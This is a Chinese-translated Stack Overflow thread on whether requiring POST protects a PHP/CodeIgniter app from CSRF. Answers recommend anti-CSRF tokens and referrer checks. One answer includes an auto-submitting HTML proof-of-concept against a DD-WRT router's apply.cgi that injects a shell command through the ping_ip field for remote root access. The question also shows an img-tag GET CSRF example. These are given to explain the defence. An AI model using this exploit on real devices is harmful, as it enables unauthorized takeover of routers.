【问题标题】:PHP security using POST instead of GET to protect against XSRF?使用 POST 而不是 GET 来防止 XSRF 的 PHP 安全性?
【发布时间】:2011-03-13 18:51:34
【问题描述】:

我的应用程序中有一些像 http://mysite.com/module/45/set_name/new-name 这样的 URL,这些 URL 旨在使用 ajax 进行访问。

为了防止 XSRF,我将此类请求强制为 POST 请求。使用GET,使用以下代码生成 XSRF 很简单:

<img src="http://mysite.com/module/45/set_name/new-name"/>

使用POST 可以防止这种特殊的攻击,但这实际上比使用GET 更安全吗?如果没有,还可以/应该做什么?

谢谢。


编辑:我正在使用 CodeIgniter 并在我的配置中有以下内容:

$config['csrf_protection'] = TRUE;
$config['csrf_token_name'] = 'csrf_test_name';
$config['csrf_cookie_name'] = 'csrf_cookie_name';
$config['csrf_expire'] = 3600;

我安全吗?启用 CSRF 有什么缺点吗?除了一小时后过期的表格吗?

【问题讨论】:

    标签: php security csrf


    【解决方案1】:

    仅使用 POST 是不够的,因为有人可以制作带有隐藏输入元素的表单并自动将其提交到您的网站。它不像带有 GET 请求的 img 元素那么容易,但它仍然是可能的。您应该在 POST 参数中使用某种形式的验证,例如随机值或会话令牌,与 cookie 不同,不会在 XSRF 请求中发送。

    【讨论】:

      【解决方案2】:

      不更改帖子并不能解决此问题。你应该阅读Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

      这是我编写的基于 Cocnept POST 的 CSRF 漏洞利用的示例证明。这给了你remote root access to DD-WRT

      <html>
          <form method="post" action="http://192.168.1.1/apply.cgi" id=1>
              <input name="submit_button" value="Ping" type="hidden">
              <input name="action" value="ApplyTake" type="hidden">
              <input name="submit_type" value="start" type="hidden">
              <input name="change_action" value="gozila_cgi" type="hidden">
              <input name="next_page" value="Diagnostics.asp" type="hidden">
              <input name="ping_ip" value="echo owned">
              <input name="execute command" type="submit">
          </form>
      </html>
      <script>
          document.getElementById(1).submit();//remote root command execution!
      </script>
      

      【讨论】:

        【解决方案3】:

        您为什么不检查与请求一起发送的引荐来源网址?图片src 和 javascript-sent 表单都会通知您请求是从不同的主机发送的,您可以阻止该请求。

        【讨论】:

        • @Col。弹片,你是说图片盗链吗?可以只允许图片的外国推荐人。
        • 我的意思是无法提交表单的公平网站用户
        • @Col。弹片,他们为什么不能提交表单?
        • @Col。弹片,为什么会失效?
        • 因为这个header是可选的,可以被一些软件去掉或者改变
        【解决方案4】:

        你把这个问题搞错了。
        你真正的问题是完全不同的——你使用了不正确的方法。

        如果正确使用 GET 方法,从服务器检索数据永远不会发生 CSRF 攻击。

        因此,如果您的请求更改了服务器端的数据,则无论如何您都必须将其更改为 POST,尽管有诸如 CSRF、XSS 等所有这些浪漫而可怕的事情。
        这只是一个technology basics

        就 CSRF 本身而言,这根本不是什么大问题。只需确保您的所有表单都包含一些反 csrf 令牌(也存储在会话中)并且所有 POST 表单处理程序都会对其进行验证。

        【讨论】:

        • 虽然在技术上是正确的,但你并没有真正谈论 CSRF,除了它是浪漫和可怕的。 CSRF 是一个不应被低估的实际安全问题。
        • @igorw 我以为我们自封的安全专家 Rook 负责这个。机器人好吧,好点,我会补充几句话。
        猜你喜欢
        • 2016-04-29
        • 1970-01-01
        • 2012-01-15
        • 2013-04-29
        • 1970-01-01
        • 2019-10-28
        • 2011-08-04
        • 2010-09-07
        相关资源
        最近更新 更多